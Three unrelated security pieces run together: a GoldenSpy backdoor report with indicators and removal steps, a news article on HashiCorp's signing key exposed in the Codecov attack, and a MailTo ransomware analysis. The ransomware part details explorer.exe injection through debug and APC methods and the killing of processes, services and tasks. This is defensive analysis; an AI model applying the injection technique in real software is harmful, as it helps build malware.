--- ### Network Infrastructure and IOCs GoldenSpy (svm.exe) receives updates and commands from several subdomains of ningzhidata[.]com. The domain was registered to Alibaba Cloud Computing on September 22, 2019, however, there are no records of it on the Internet before April of 2020. This domain and its subdomains have resolved to a number of IP addresses, however, based on their certificates, most are a part of the qcloud CDN and appear to only host downloads. There are two IP addresses which we believe to be the actual servers behind ningzhidata[.]com, 49.232.156.177 and 223.112.21.2. Of these two servers the first is the most important. It is the same IP which is hardcoded into plugin.exe as part of the svm.exe installation process. It is also consistently reported to abuse lists for attempting to log into computers without authorization. The installation of svm.exe is initiated by the plugin.exe component of the Aisino tax software. --- ### Other TTPs Inherent to GoldenSpy and Golden Tax Software As attackers frequently update their TTPs, it is important to identify behavioral and static indicators to search for elements of this threat that may present themselves in unknown variations of this attack. Trustwave SpiderLabs provided the GoldenSpy_svmdropper:APT YARA rule for exactly this reason, but there are several other unusual characteristics of this malicious code that can be used in threat hunting operations. #### Common TTPs shared by the tax software and svm.exe While svm.exe appears to be independent from the main tax software, internal strings from the code share several elements, suggesting some shared creation resources. Examples of these common items include: - **Ryeol HTTP Client:** This library from 2007 is utilized by both svm.exe and the tax software to facilitate HTTP Internet communication. This is an old and unusual HTTP library for modern legitimate software. - **SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\fwkp.exe:** This is a hardcoded string present in svm.exe but appears to be utilized as part of legitimate functions within the original tax software. - **SOFTWARE\skfpkprj\skfpkprj:** This is a hardcoded string present in svm.exe but appears to be utilized as part of legitimate functions within the original tax software. #### Non-standard ports used in this campaign The following ports were observed to be used in this campaign: - **Ports 9005, 9006:** Ports used for svm.exe network traffic. - **Port 9002:** Used by updater service to request a link to download svm.exe. - **Port 8090:** While we didn’t observe this directly in our analysis, there are indicators on public scan sites that svm is downloaded over this port in some circumstances. - **Port 33666:** WebSocket established by Golden Tax software on installation. #### Non-standard User-Agent Strings Unusual user-agent strings exist in the network traffic generated by GoldenSpy. In the first instance, the user-agent and the newline character which is supposed to follow it were missing, resulting in a distinctively malformed HTTP header. The first two screenshots below show correctly formatted user-agent strings, “Agent0” and “Ryeol HTTP Client Class” which can also be used as network indicators. --- ### Campaign Timeline | DATE | RELEVANT EVENT | |------|----------------| | 2019-09-22 | Domain registration date for command and control server located at ningzhidata[.]com. | | 2020-04-07 | Compilation time for GoldenSpy (svm.exe investigated variant), the backdoor downloaded two hours after tax software installation. | | 2020-04-09 | First known download of current version of svm.exe GoldenSpy from ningzhidata[.]com. | | 2020-04-16 | ningzhidata[.]com is first seen using the qcloud CDN. | | 2020-04-17 | Several variations of the svm.exe malware submitted to VirusTotal by an unknown source. | | 2020-04-21 | Trustwave began threat hunt for impacted customer. | --- ### Malware Reverse Engineering Reports #### Tax Software Installer A Nullsoft installer file (MD5: 85223e82337f409697b951207a2d91e6) is the main setup file that installs the tax invoicing software, electronic signing tool, plugin manager and updater. There are two sub-installers in this setup file: 1. **PluginManagerSetup.exe** (MD5: 8ecc9a53cc99bde757df9e718fd3af17) – this setup file contains two installers: - **XYRZSetup.exe** (MD5: 39393db9ff05b587ef42ae6340f03a85) – Installs the tax invoice gatherer, running as a service. - **PluginSetup.exe** (MD5: 84ff122838c0da5ab5ddcaa8f45f7011) – Installs the plugin manager – plugin.exe and mplugin.exe and also downloads the backdoor installer svminstall.exe. 2. **SignToolSetup.exe** (MD5: 04f100f771ed8dd238fdf41a0f85977a) – is a setup file that installs the electronic signing application. The program and component files are installed under the folder %ProgramFiles%\Signtool. --- ### Recommended Risk Mitigation Measures Trustwave SpiderLabs strongly recommends threat hunting for the IOCs provided in this report, specifically for organizations with operations in China. The following are recommended first steps: - Hunt for active network connections matching: - Traffic going to ningzhidata[.]com. - Use of Ryeol HTTP Client user-agent in packets (please note, there is a chance of a high false positive rate as this library and user-agent are still used by some legitimate software). - In conjunction with above, search for external traffic to ports 9002, 9005, 9006 to unauthorized domains/IP. - Windows event logs indicating creation of svmm or svm services, review event logs 601, 4697, and 7045. - Use the provided YARA rule to scan your hosts. If you confirm presence of this malicious code in your environment, follow your existing IR procedures to document and remediate the incident. Outside of the normal IR procedures there are some special considerations for this software. Post incident response investigation, reimaging the system and starting from a known good state is preferable, however, if this action is not practical because of business criticality reasons, the malicious elements of the Golden tax software package can be manually removed. The main tax software does include an uninstall package, but it is only for the tax-related elements of the software. Svm.exe and svmm.exe are not affected by the main software removal process. To remove SVM from host: 1. Freeze both svm.exe and svmm.exe processes (since it will respawn itself if killed normally). 2. Kill SVM processes. 3. Go to SVM directory and permanently delete related files. 4. Remove all registry artifacts related to SVM service. 5. Restart host. 6. Use provided YARA rules to hunt for any leftovers, and remove if anything stays in the system. If, for any business reason, you cannot perform the malicious software removal, we recommend: - Harden host OS following NIST hardening checklist, or at bare minimum: - Baseline your company golden image and remove any non-critical software. - Enable firewall and ensure communications for tax services is only allowed to appropriate domain. - Ensure antivirus system is installed and updated. - Ensure all system security updates are installed. - Disable all not used devices (printers, Bluetooth, network cards etc.) and services. - Remove all non-critical for operation users (like administrator, guest etc.) from the host. - Clear any sensitive data not necessary for tax filing. - Block remote connections. - Remove remote access to company data. - Do not connect host to the domain, use local non-admin user to work with the host. - Isolate host from company network. - Have separate dedicated Internet connection or isolate and secure one on network segments. - Ensure that network IDS is seeing host activity. - Ensure that you have installed EDR solution on the host. --- ### Relevant Corporate Profiles **Aisino Corporation** Aisino Corporation engages in the development of information technology. Business activities include, provision of technical advice and services, consulting management for enterprises, development, production, and sale of electronic and communications equipment, computers and peripheral equipment, intelligent electronic products, taxation and special equipment. Aisino Corporation is responsible for the “Golden Tax” software service. Aisino Credit Information is a subsidiary of Aisino Corporation. **Aisino Credit Information** Aisino Credit Information (ACI) is an Internet-based company specializing in credit for business and big data credit information research. ACI is the owner of domain i-xinnuo[.]com from which tax software is being distributed. **Nanjing Chenkuo Network Technology** A technology company specializing in enterprise big data modeling, analysis and application. By analyzing the company’s core big data, it combines the bank’s risk control and exclusive demand for financial products, screening of pre-loan customers and real-time monitoring after lending to a large number of enterprises, precise marketing, and efficient services. Svm.exe was digitally signed by this corporation. **Trustwave SpiderLabs** The Trustwave SpiderLabs team is comprised of expert digital forensic investigators, breach responders, penetration testers, malware reverse engineers, and security architects that have dedicated their expertise to providing deep-dive proactive threat hunting services for Trustwave clients. Our team is responsible for identifying current and potential threats in client networks, developing detection logic, and tracking threat actor campaigns operating across the globe. --- ### Appendices #### Appendix A - Definitions, Supporting Facts, and Legal and Compliance Implications The tables below provide a review of potential legal and compliance implications for companies using this software in their corporate environment. Within the context of this report, Trustwave SpiderLabs has used several industry recognized terms to describe GoldenSpy activity. This appendix clearly defines the commonly accepted definitions and usages of these terms, based on organizations such as NIST and MITRE. The terms defined below include backdoor, C2 (Command and Control), spyware, and malicious code / malware. | FIELD | UNDERSTANDING | |-------|---------------| | Term | Definition Source | | Definition | Term to be defined | | Condition | A specific condition within GoldenSpy that matches a NIST definition or MITRE TTP | | Match Criteria | Does GoldenSpy match condition criteria? Yes/No | | Require legal justification or usage approval | Does condition require software to have legal justification or to request user approval to operate on the host? Yes/No | | Provides legal justification or ask for usage approval | Does condition provide software to have legal justification or to request user approval to operate on the host? Yes/No | | Regulations Violated | Is software in potential conflict with regulations for specific regions? | | Affecting compliance | Is software in potential conflict with regulations? | --- This document provides a comprehensive overview of the GoldenSpy malware threat and its implications for organizations operating in China. It is crucial for affected entities to take immediate action to mitigate risks associated with this threat.
# HashiCorp is the Latest Victim of Codecov Supply-Chain Attack Open-source software tools and Vault maker HashiCorp has disclosed a security incident that occurred due to the recent Codecov attack. HashiCorp, a Codecov customer, has stated that the recent Codecov supply-chain attack aimed at collecting developer credentials led to the exposure of HashiCorp's GPG signing key. The private key is used by HashiCorp to sign and verify software releases and has since been rotated as a precaution. ## HashiCorp Discloses Code-Signing Key Compromise This week, HashiCorp disclosed that the recent Codecov supply-chain attack had impacted a subset of their Continuous Integration (CI) pipelines. The company states that as a result of this, the GPG key used by HashiCorp to sign and verify software releases was exposed. Codecov provides software testing and code coverage services to over 29,000 customers. On April 1st, Codecov learned that due to a flaw in their Docker image, threat actors had obtained credentials to the Bash Uploader scripts used by their customers. The Bash Uploaders were modified with a malicious line of code that exfiltrated environment variables and secrets collected from some customers' CI/CD environments to an attacker-controlled server. According to Codecov's investigation, the initial compromise of the Bash Uploader happened on January 31, making this attack last around two months. In all this, HashiCorp's GPG private key that signs hashes used to verify HashiCorp's product downloads was exposed. "While investigation has not revealed evidence of unauthorized usage of the exposed GPG key, it has been rotated in order to maintain a trusted signing mechanism." A new GPG keypair has been published that is to be used from now on: ``` C874 011F 0AB4 0511 0D02 1055 3436 5D94 72D7 468F ``` The older, compromised GPG keypair has been revoked: ``` 91A6 E7F8 5D05 C656 30BE F189 5185 2D87 348F FC4C ``` "Existing releases have been validated and re-signed," states HashiCorp in a security event disclosure. According to HashiCorp, this incident has only impacted HashiCorp's SHA256SUM signing mechanism. MacOS code signing (notarization), as well as Windows AuthentiCode signing of HashiCorp releases, has not been affected by the exposed private key. Likewise, signing for Linux packages (Debian and RPM) available on releases.hashicorp.com remains unaffected. ## HashiCorp's Terraform Yet to be Patched However, HashiCorp's advisory does state that their Terraform product is yet to be patched to use the new GPG key. Terraform is an open-source infrastructure-as-code software tool used for safely and predictably creating, changing, and improving infrastructure. "Terraform automatically downloads provider binaries during the terraform init operation and performs signature verification during this process," states Jamie Finnigan, HashiCorp's Director of Product Security. The company states that patched releases of Terraform and related tools will be published that use the new GPG key during automatic code verification. "In the short term, transport-level TLS protects official Terraform provider binaries downloaded during init, and manual verification of Terraform and its providers can be performed with the new key and signatures as described in the security advisory." As a part of its incident response activities, HashiCorp is further investigating if any other information was exposed from the Codecov incident and plans on providing relevant updates as the investigation progresses. As reported by BleepingComputer earlier this week, hundreds of Codecov customer networks were reportedly breached due to the Codecov Bash Uploader compromise. U.S. federal investigators have also stepped in and are working with Codecov and their customers to investigate the full impact of the attack. As such, more security disclosures are expected to come out in the following weeks from different customers. Software supply-chain attacks continue to be on the rise as they become the latest focus of threat actors. Just yesterday, BleepingComputer reported that the Passwordstate enterprise password manager used by many Fortune 500 customers was hacked in a supply-chain attack.
# An In-depth Look at MailTo Ransomware, Part Two of Three In Part One of this series, we discussed how MailTo ransomware installs itself on the victim's system and then initializes itself with configuration options and persistence via the registry. Today we're going to continue our deep dive by looking into how MailTo executes and injects itself into the system. ## Injection and Explorer.exe After the MailTo ransomware has finished initializing, it begins the process of starting a new “explorer.exe” instance and injecting a copy of itself into it. Two different methods of execution transfer can be used but in either case, it maps itself into the process in the same way. The ransomware maps itself into an instance of “explorer.exe” by using the API function “NtMapViewOfSection” and then manually fixes its relocations rather than using the Windows API “LoadLibrary” or “LdrLoadDll”. This method has the advantage of not being linked in the “PEB->InLoadOrderModuleList” member and being mapped outside of the expected memory range (above the executable mapped image base). The next step after the ransomware has mapped itself into the “Explorer.exe” process is to transfer execution to the ransomware. The ransomware has two different methods to do this. The first method we will call “Debug Injection” and the second method “APC Injection”. ### Debug Injection With the Debug Injection method, the ransomware first uses the function “CreateProcessW” with the “DEBUG_ONLY_THIS_PROCESS” creation flag. Creating the “Explorer.exe” process in this state allows the ransomware to suspend the process and modify its memory. This is when the ransomware calls “NtMapViewOfSection” to copy itself to the process and fix its relocations. Afterward, it calls “NtGetContextThread” to receive the thread context of the main thread for “Explorer.exe”. It then sets the instruction pointer (EIP) to the mapped ransomware’s selected entry point. “ContinueDebugEvent” is then called to continue the execution of “Explorer.exe” and the following call is to “DebugActiveProcessStop” which finally detaches the ransomware’s debugger from the process. ### APC Injection With this method, the ransomware will begin by starting the “Explorer.exe” process as a suspended process using the “CreateProcess” Windows API function and “CREATE_SUSPENDED” flag. The ransomware then manually maps itself into “Explorer.exe” using the same method described in Debug Injection. To transfer execution, however, the ransomware will use the undocumented “NtQueueApcThread” Windows API function and lastly call “NtResumeThread” to continue the process from its suspended state. ## Purpose of Injected Routine / Explorer.exe The main purpose of the injected routine inside of “Explorer.exe” is to perform file encryption of shared network drives, network paths, and local disk drives. The ransomware also performs uninstallation and deletes shadow copies. The routine will create a second “Explorer.exe” instance if the “useKill” option in the configuration is set to true. The second “Explorer.exe” instance is injected into using the same discussed techniques and will serve the purpose of killing processes, services, and scheduled tasks. ### Kill Processes MailTo kills processes listed in the ransomware configuration under the field “kill->prc”. Many of the listed names appear to be processes that could potentially be performing an operation on a file that could prevent the ransomware from encrypting the file. Process killing in MailTo works using the Windows API function “NtQuerySystemInformation” and more specifically, with the “SystemProcessInformation” class which is used to return a list of all currently running processes on the system. These processes are iterated over and have their image names hashed with CRC32. The CRC32 hash is compared against its own process image name hash and two other hard-coded hashes. A list of mostly wildcarded process names resides in the ransomware’s configuration. The image base name of the iterated processes is compared with each of the wildcarded process names in the configuration (found under ‘kill->prc’). If the comparison results in a match, the ransomware will call the “OpenProcess” and “NtTerminateProcess” Windows API functions to terminate the process. ### Kill Services MailTo has the capability to kill listed services for what appears to be the same reason as with killing processes, as again, the listed services appear to be common services which could be performing an operation on a file which would stop the ransomware from being able to encrypt the file the service is operating on. The listed services can be found in the configuration under the field “kill->svc”. Services are killed throughout three functions in this ransomware: 1. Iterate all the currently running services and match them against the configuration blacklist. 2. Iterate all dependent services on the matched service. 3. Stop the dependent services from running as well as the originally matched service. The expected outcome of this capability is for the services in the blacklist to be stopped. However, this does not happen, and with further inspection, it was discovered that the malware author made a critical mistake that prevented any services from being stopped. Simply put, service killing in this sample does not work. The mistake in question is related to step one of the process of iterating all the currently running services and matching them with the blacklist. That part never takes place. In fact, we even discovered code to perform that step one, but it simply was not used. When the time comes for the ransomware to kill services, it tries to begin with step two, which does not make sense because there is no matched service for step two to work with. What happens is step two is given the value zero, which is supposed to be a handle to a service. Step two will check if the given value is zero and if this comparison is true, step two will simply return right there and then, consequentially doing nothing as step three is never performed. The mistake is that step two is always given the value zero. ### Kill Scheduled Tasks The MailTo ransomware makes use of the “CoCreateInstance” Windows API function to get access to the ITaskService interface which will then lead to getting access to the ITaskFolder interface through the ITaskService->lpVtble->GetFolder() function. The ITaskFolder interface is used in conjunction with other functions to iterate over task names, paths, and arguments, then compare them to a blacklist of words in the configuration. If any of the words in the configuration are a part of the task name, path, or arguments, the scheduled task will be stopped, disabled, and then deleted. MailTo is now all set to begin encryption. ## Conclusion In this part of our deep-dive analysis, we saw how MailTo inserts itself as a running process and kills various processes and services to ensure the best environment to begin to take your data hostage. In our next part, we will look at how MailTo gets to business encrypting your valuable files.